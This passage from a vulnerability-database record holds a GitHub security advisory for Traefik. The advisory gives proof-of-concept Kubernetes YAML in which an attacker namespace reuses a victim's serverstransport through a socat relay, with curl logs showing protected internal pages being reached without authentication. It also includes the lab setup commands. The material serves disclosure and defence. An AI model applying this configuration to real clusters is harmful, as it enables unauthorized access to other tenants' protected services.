LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZ0akNDQTU2Z0F3SUJBZ0lVSnFKb2VvMElYa2dLcjRwOGpBWEtJb1BoSFpvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd05qRTBNRElHQTFVRUF3d3JiWFJzY3kxdVoybHVlQzUwY21GbFptbHJMWFpwWTNScGJTNXpkbU11WTJ4MQpjM1JsY2k1c2IyTmhiREFlRncweU5URXdNVGt4TkRNd01UUmFGdzB6TlRFd01UY3hORE13TVRSYU1EWXhOREF5CkJnTlZCQU1NSzIxMGJITXRibWRwYm5ndWRISmhaV1pwYXkxMmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWoKWVd3d2dnSWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUNEd0F3Z2dJS0FvSUNBUUN5Q1BHWmFVTk92VnN4bGtiMQp5RDMvSnkyNS9vQmFmNlBTdWc5Q3NWWnNpU0lOeXJiaGpwRmRXTlQrY0dEcGg0d2xpaEZVWi81YjB1UlcwUG9vCjloU243QXRWSGVwZzRCU0g5VmF1U1BzSENDdWxQTDloU0orVDJKN3k1ZjNnd0VHanVJZVlyNWhrb0h3L1hGdSsKOXZKVHdnbkJxT2ErWVIvTEppQmQ4QnB3R3doeEE0a0NjbFRvOHNZTWFwWDh0U25ZbXBOVE1IZ0NPdlRnNi9DeApLYTRHUytMTnhpUkg5aDZyeFpMSXhBNDlkdVFVU3ZkR3NFZjFNdzlza1dmMmRFVUdUdVR5NWdaU3JGNDZkak9pClFNVzBZWmZDRXp4WGUwVHN2TWR6WnNzTVRDN1doNnlmYUNvc2dDRkhzSC9kanZTQW5JZGNpN3pZUmwzdVJZK2kKVDVvejk4dFMybHgvSGVlZEoyYWI5Q2VqTmxFQzB2c1A4YzJ5enVwUnhScUVrTVQ0ejZ4QksyNTltYXdiM1FoUwowQk9VbEg0S29DVWR3bWVEcVZlMVhrRG40MjFKWjBZMTRMSVJsRDRCMEsvVGVBZUFTeXFwSDZPR3JMKy9Cd0pyCmdOczJsSzAyVEZLQTVpNHBoanVjS0Jodm1FOUJvdUh5UTVlZUpqNDFFQkdaM0RNSmZDekZ1SUxNaWxrRG1VZkQKdVczMm1YR2FmS3dKOVNvdVdjSk82KzR6aFZKQitkdnRqTDlhT2JQY1JsS2J2WUtRYjVZTEFVQ1d1TGJxcnc0eApqbjRZTythRUVYVjVXTHRUOU1mZm94OTR1SG1ORll4ZUxrNVVhWnJMSTN4a25FODhQdExENE16NFJBbHc1S3FuClB0TlgvQmZIaFMrYUh5amlvc2tHODN4UTNRSURBUUFCbzRHN01JRzRNQjBHQTFVZERnUVdCQlRCTDl1MVU0aVAKZ2lQZDNmNS9rdDd2Tng1dEl6QWZCZ05WSFNNRUdEQVdnQlRCTDl1MVU0aVBnaVBkM2Y1L2t0N3ZOeDV0SXpBUApCZ05WSFJNQkFmOEVCVEFEQVFIL01HVUdBMVVkRVFSZU1GeUNLMjEwYkhNdGJtZHBibmd1ZEhKaFpXWnBheTEyCmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWpZV3lDTFNvdWJYUnNjeTF1WjJsdWVDNTBjbUZsWm1sckxYWnAKWTNScGJTNXpkbU11WTJ4MWMzUmxjaTVzYjJOaGJEQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUFaZlVYUHVpTApGVTRPMHlSUXBDeFduZW5GL2hEWVgvS01NcnMzUWd2ZHNQcDZBOEg3dGxsM3FSaFRWMFBxYXI3SW1EOWdmT1NNCjFnU0s3dzBJd0ZoVndjUmFQSzMwVGFXZjNtTXJ6bm0zclJRK1NzcEFSTjFYRGJsR2JOSUpwNlF0ZHNDVGRpaUkKcTFFWEwycGwzaWczVjNTWVNkUGtXKzhBYVgxZDZkdmlKLzFjK2ZiVS9IZlRINXdER2NWTktFendMOHJqRlpjVQp0eXZLWHpuOVh6eTZYQnZUbTBQczczZ210UkxZTStMd21UdjQ0OG1NbVdJWFVreVFGMFdncTRCaStyM0lYYldDCmV6OFVQNFNnWkR4WkRBVjY5dGhXMDZvR2xub01YNlJsR2lzRnd3ZEZuZWxmS0RXeWlYYk9wVGtaWjlCQUhoQWUKOU9JWVRFVmp5RFNHWGNLcGNTTFY2Z29MVVExR0VYZlBGaE5EWis1UUFHcGljeHYxdjFUVUpBNEFqS1VSYlpIRApvclhJd0IvTVc1VnpsMGRNM3k2ekJ1aUlMWUJUMVdidVI5MWlsdGxtR0JBVGdGNlJlNk04SnlmYW10bHNxbHR3CmNUQll4LzBYNzljT2FNM21iTHlOeWxiZkhMek5USmx4em9OTXNhR0J4RVNJTFovRnFkWmhjeTJBOW1IbGV5VlYKSVdJRjlmTDZpS2IxN3dMbXhWM1pxR3JMZFNraXRPNUdjYjVWTWc4U2VSLzNPc0pySGtQZy8wRlhiMDlUY2V4VwplbFZSVzhyWHhLQldjT2dZaWhQK3hweTJiUHV0bWllaVFpZVpUMVMxSXczSWJMWXBxYzNvU3NmVklSSTJ6R0FJCkJVNHREVHBjR3ZOdEErVGs4R2xJcnppSmV0QUlhNWRvaTFJPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==\n---\n# The following resources are only for demo purposes to show a more realistic scenario:\nkind: Middleware\napiVersion: traefik.io/v1alpha1\nmetadata:\n  name: basicauth\n  namespace: traefik-victim\nspec:\n  basicAuth:\n    secret: authsecret\n---\nkind: Secret\napiVersion: v1\nmetadata:\n  name: authsecret\n  namespace: traefik-victim\ntype: kubernetes.io/basic-auth\ndata:\n  username: dXNlcg== # username: user\n  password: cGFzc3dvcmQ= # password: password\n---\n```\n\n#### PoC service.serverstransport / attacker.yaml\n\n```yaml\nkind: Ingress\napiVersion: networking.k8s.io/v1\nmetadata:\n  name: traefik-ingress\n  namespace: traefik-attacker\n  annotations:\n    traefik.ingress.kubernetes.io/router.entrypoints: web,websecure\nspec:\n  ingressClassName: traefik\n  rules:\n    - host: traefik-attacker.gke.gcp.ernw.eu\n      http:\n        paths:\n          - path: /example-app\n            pathType: Prefix\n            backend:\n              service:\n                name: socat-proxy\n                port:\n                  number: 443\n  tls:\n  - hosts: [\"traefik-attacker.gke.gcp.ernw.eu\"]\n    secretName: tls-cert\n---\nkind: Service\napiVersion: v1\nmetadata:\n  name: socat-proxy\n  namespace: traefik-attacker\n  annotations:\n    traefik.ingress.kubernetes.io/service.serverstransport: traefik-victim-serverstransport@kubernetescrd\nspec:\n  selector:\n    app: socat-proxy\n  ports:\n  - port: 443\n    targetPort: 443\n    name: https\n---\nkind: Deployment\napiVersion: apps/v1\nmetadata:\n  name: socat-proxy\n  namespace: traefik-attacker\n  labels:\n    app: socat-proxy\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: socat-proxy\n  template:\n    metadata:\n      labels:\n        app: socat-proxy\n    spec:\n      containers:\n      - command:\n        - /usr/bin/socat\n        - -dd\n        - TCP4-LISTEN:443,fork\n        - TCP4:mtls-nginx.traefik-victim.svc.cluster.local:443\n        image: alpine/socat:1.8.0.0\n        imagePullPolicy: IfNotPresent\n        name: socat\n        securityContext:\n          capabilities:\n            add:\n            - NET_BIND_SERVICE\n            drop:\n            - ALL\n          readOnlyRootFilesystem: true\n          runAsNonRoot: false\n```\n\n#### PoC router.middlewares intern-demo-access-victims-pod-wo-auth.txt\n\n```\n$ kubectl run -it -n traefik-attacker --rm --image=curlimages/curl curly -- /bin/sh\n\nIf you don't see a command prompt, try pressing enter.\n~ $ /usr/bin/curl -vv http://example-app-service.traefik-victim.svc.cluster.local/example-app/\n19:52:54.971932 [0-0] * Host example-app-service.traefik-victim.svc.cluster.local:80 was resolved.\n19:52:54.972037 [0-0] * IPv6: (none)\n19:52:54.972071 [0-0] * IPv4: 34.118.229.151\n19:52:54.972111 [0-0] * [SETUP] added\n19:52:54.972181 [0-0] *   Trying 34.118.229.151:80...\n19:52:54.972358 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=0\n19:52:54.978079 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=1\n19:52:54.978123 [0-0] * Established connection to example-app-service.traefik-victim.svc.cluster.local (34.118.229.151 port 80) from 10.80.0.4 port 41754 \n19:52:54.978166 [0-0] * [SETUP] query ALPN\n19:52:54.978219 [0-0] * using HTTP/1.x\n19:52:54.978327 [0-0] > GET /example-app/ HTTP/1.1\n19:52:54.978327 [0-0] > Host: example-app-service.traefik-victim.svc.cluster.local\n19:52:54.978327 [0-0] > User-Agent: curl/8.17.0\n19:52:54.978327 [0-0] > Accept: */*\n19:52:54.978327 [0-0] > \n19:52:54.978699 [0-0] < HTTP/1.1 401 Unauthorized\n19:52:54.978758 [0-0] < Server: nginx/1.29.4\n19:52:54.978829 [0-0] < Date: Wed, 17 Dec 2025 19:52:54 GMT\n19:52:54.978905 [0-0] < Content-Type: text/html\n19:52:54.978989 [0-0] < Content-Length: 179\n19:52:54.979059 [0-0] < Connection: keep-alive\n19:52:54.979122 [0-0] < \n<html>\n<head><title>401 Authorization Required</title></head>\n<body>\n<center><h1>401 Authorization Required</h1></center>\n<hr><center>nginx/1.29.4</center>\n</body>\n</html>\n19:52:54.979206 [0-0] * Connection #0 to host example-app-service.traefik-victim.svc.cluster.local:80 left intact\n```\n\n#### PoC router.middlewares intern-demo-access-victims-pod-with-auth.txt\n\n```\n kubectl run -it -n traefik-attacker --rm --image=curlimages/curl curly -- /bin/sh\nIf you don't see a command prompt, try pressing enter.\n~ $ /usr/bin/curl -H 'X-API-Token: example-secret-api-token' -vv http://example-app-service.traefik-vic\ntim.svc.cluster.local/example-app/\n19:55:24.754545 [0-0] * Host example-app-service.traefik-victim.svc.cluster.local:80 was resolved.\n19:55:24.754622 [0-0] * IPv6: (none)\n19:55:24.754677 [0-0] * IPv4: 34.118.229.151\n19:55:24.754739 [0-0] * [SETUP] added\n19:55:24.754849 [0-0] *   Trying 34.118.229.151:80...\n19:55:24.755046 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=0\n19:55:24.756280 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=1\n19:55:24.756365 [0-0] * Established connection to example-app-service.traefik-victim.svc.cluster.local (34.118.229.151 port 80) from 10.80.0.5 port 46456 \n19:55:24.756434 [0-0] * [SETUP] query ALPN\n19:55:24.756487 [0-0] * using HTTP/1.x\n19:55:24.756721 [0-0] > GET /example-app/ HTTP/1.1\n19:55:24.756721 [0-0] > Host: example-app-service.traefik-victim.svc.cluster.local\n19:55:24.756721 [0-0] > User-Agent: curl/8.17.0\n19:55:24.756721 [0-0] > Accept: */*\n19:55:24.756721 [0-0] > X-API-Token: example-secret-api-token\n19:55:24.756721 [0-0] > \n19:55:24.757020 [0-0] * Request completely sent off\n19:55:24.757269 [0-0] < HTTP/1.1 200 OK\n19:55:24.757329 [0-0] < Server: nginx/1.29.4\n19:55:24.757387 [0-0] < Date: Wed, 17 Dec 2025 19:55:24 GMT\n19:55:24.757459 [0-0] < Content-Type: text/html\n19:55:24.757535 [0-0] < Content-Length: 1189\n19:55:24.757616 [0-0] < Last-Modified: Wed, 17 Dec 2025 19:39:32 GMT\n19:55:24.757683 [0-0] < Connection: keep-alive\n19:55:24.757748 [0-0] < ETag: \"694306f4-4a5\"\n19:55:24.757836 [0-0] < Accept-Ranges: bytes\n19:55:24.757894 [0-0] < \n<!doctype html>\n<html>\n<head>\n    <title>Secret Password Protect Page</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <style type=\"text/css\">\n    body {\n        background-color: #f0f0f2;\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n        \n    }\n    div {\n        width: 600px;\n        margin: 5em auto;\n        padding: 2em;\n        background-color: #fdfdff;\n        border-radius: 0.5em;\n        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n    }\n    a:link, a:visited {\n        color: #38488f;\n        text-decoration: none;\n    }\n    @media (max-width: 700px) {\n        div {\n            margin: 0 auto;\n            width: auto;\n        }\n    }\n    </style>    \n</head>\n\n<body>\n<div>\n    <h1>Secret Password Protect Page</h1>\n    <p>The content of this page is protected by an API token and exposed only through basic auth! No other internal service can access this page. 😈</p>\n</div>\n</body>\n</html>\n19:55:24.757987 [0-0] * Connection #0 to host example-app-service.traefik-victim.svc.cluster.local:80 left intact\n```\n\n### Test Setup\n\nThe Traefik proxy was installed with the default configuration except for some settings for debugging purposes:\n\n- ``DEBUG`` level logs enabled\n- access logs enabled\n- Dashboard enabled\n\n```sh\n$ cat traefik-values.yaml\ningressRoute:\n  dashboard:\n    enabled: true\n\nlogs:\n  general:\n    level: DEBUG\n  access:\n    # -- To enable access logs\n    enabled: true\n\nimage: ## using the latest release version from 16.12.2025\n  tag: v3.6.5\n\n$ kubectl create namespace traefik\n# first: helm repo add traefik https://traefik.github.io/charts\n$ helm install -n traefik -f traefik-values.yaml traefik traefik/traefik\n```\n\n<!-- - Update IP address of the traefik domain (See IP with `kubectl get service -n traefik`) : https://console.cloud.google.com/net-services/dns/zones/gcp-ernw-eu/details?inv=1&invt=Abz2OA&project=folkloric-stone-231516 -->\n\n```sh\nhelm install -n traefik -f traefik-values.yaml traefik traefik/traefik\n\nNAME: traefik\nLAST DEPLOYED: Wed Dec 17 18:34:31 2025\nNAMESPACE: traefik\nSTATUS: deployed\nREVISION: 1\nDESCRIPTION: Install complete\nTEST SUITE: None\nNOTES:\ntraefik with docker.io/traefik:v3.6.5 has been deployed successfully on traefik namespace !\n```\n\nVerify the correct version was installed:\n\n```sh\nkubectl exec -n traefik deploy/traefik -- traefik version\n\nVersion:      3.6.5\nCodename:     ramequin\nGo version:   go1.24.11\nBuilt:        2025-12-16T14:56:48Z\nOS/Arch:      linux/amd64\n```\n\nList of all pods after installation:\n\n```sh\n$ kubectl get pods -A\nNAMESPACE                 NAME                                                         READY   STATUS    RESTARTS       AGE\n[...]\ntraefik                   traefik-68fc9dcdd8-b478w                                     1/1     Running   0              8m28s\n```\n\nIn addition, a TLS certificate needs to be deployed for a proper demo setup:\n\n```sh\n$ kubectl create secret -n traefik-victim tls tls-cert \\\n--key=../k8s-lab-env/gke.gcp.ernw.eu/privkey1.pem \\\n--cert=../k8s-lab-env/gke.gcp.ernw.eu/fullchain1.pem\n$ kubectl create secret -n traefik-attacker tls tls-cert \\\n--key=../k8s-lab-env/gke.gcp.ernw.eu/privkey1.pem \\\n--cert=../k8s-lab-env/gke.gcp.ernw.eu/fullchain1.pem\n```\n\n</details>\n","categories":["Unclassified"],"product":"github.com/traefik/traefik/v2","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/traefik/traefik/security/advisories/GHSA-rh7m-2m44-x32f","source_modified_at":"2026-10-05T12:05:46Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"go","name":"github.com/traefik/traefik/v2"},"range":"<= v2.11.45"},{"source":"GitHub Advisory Database","source_url":"https://github.com/traefik/traefik/security/advisories/GHSA-rh7m-2m44-x32f","source_modified_at":"2026-10-05T12:05:46Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"go","name":"github.com/traefik/traefik/v3"},"range":">= v3.0.0, <= v3.6.16"},{"source":"GitHub Advisory Database","source_url":"https://github.com/traefik/traefik/security/advisories/GHSA-rh7m-2m44-x32f","source_modified_at":"2026-10-05T12:05:46Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"go","name":"github.com/traefik/traefik/v3"},"range":">= v3.7.0, <= v3.7.0"}],"fixed_versions":[],"cvss":6.4,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-05T12:05:46Z","modified_at":"2026-10-05T12:05:46Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/traefik/traefik/security/advisories/GHSA-rh7m-2m44-x32f","fetched_at":"2026-10-23T20:00:35.122048Z","source_modified_at":"2026-10-05T12:05:46Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-05T12:05:46Z","content_hash":"903bf71d69c6075b4185fb239a73119635beddfd10cadd18e9f05f528bef0e7a"}}